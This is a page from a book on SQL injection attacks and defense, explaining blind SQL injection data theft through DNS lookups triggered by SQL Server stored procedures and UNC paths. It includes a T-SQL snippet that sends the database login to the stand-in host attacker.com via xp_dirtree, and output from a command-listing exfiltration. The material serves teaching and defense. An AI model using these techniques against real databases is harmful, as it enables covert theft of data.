SQL Injection Attacks and Defense - 2009

Blind SQL Injection Exploitation • Chapter 5 253
free.attacker.com.victim.com.
free.attacker.com.
Clearly the exploit had problems; you do not receive all output from the “dir” command,
as only the fifth space-delimited token is returned from each line, and this method cannot
handle file or directory names that have spaces or other disallowed domain name characters.
The observant reader would also have noticed that each filename is queried twice and the
first query is always against the domain victim.com.
No t e
This is the default search domain for the database machines. You can prevent
lookups on the default domain by appending a period (.) to the name that is
passed to nslookup.
Other stored procedures will cause an SQL server to look up a DNS name, and they
rely on the support built into Windows for network Universal Naming Convention (UNC)
paths. Many Windows file-handling routines can access resources on UNC shares, and when
attempting to connect to a UNC path the operating system must first look up the IP
address. For instance, if the UNC path supplied to some file-handling function is \\poke.
attacker.com\blah, the operating system will first perform a DNS lookup on poke.attacker.
com. By monitoring the server that is authoritative for the attacker.com zone, the attacker
can ascertain whether the exploit was successful. The procedures are specific to SQL Server
versions:
■■
■■
■■
xp_getfiledetails (SQL Server 2000; requires a path to a file)
xp_ fileexist (SQL Server 2000, 2005, and 2008; requires a path to a file)
xp_dirtree (SQL Server 2000, 2005, and 2008; requires a folder path)
For instance, to extract the database login via DNS, you could use:
DECLARE @a CHAR(128);SET @a='\\'+SYSTEM_USER+'.attacker.com.';
EXEC master..xp_dirtree @a
The preceding snippet used an intermediate variable to store the path, because string
concatenation is not permitted in the procedure’s argument list. The SQL indirectly caused
a DNS lookup for the host name sa.attacker.com. indicating that the administrative login
was used.
As I pointed out when performing DNS lookups through xp_cmdshell, the presence of
illegal characters in a path will cause the resolver stub to fail without attempting a lookup,
as will a UNC path that is more than 128 characters long. It is safer to first convert data you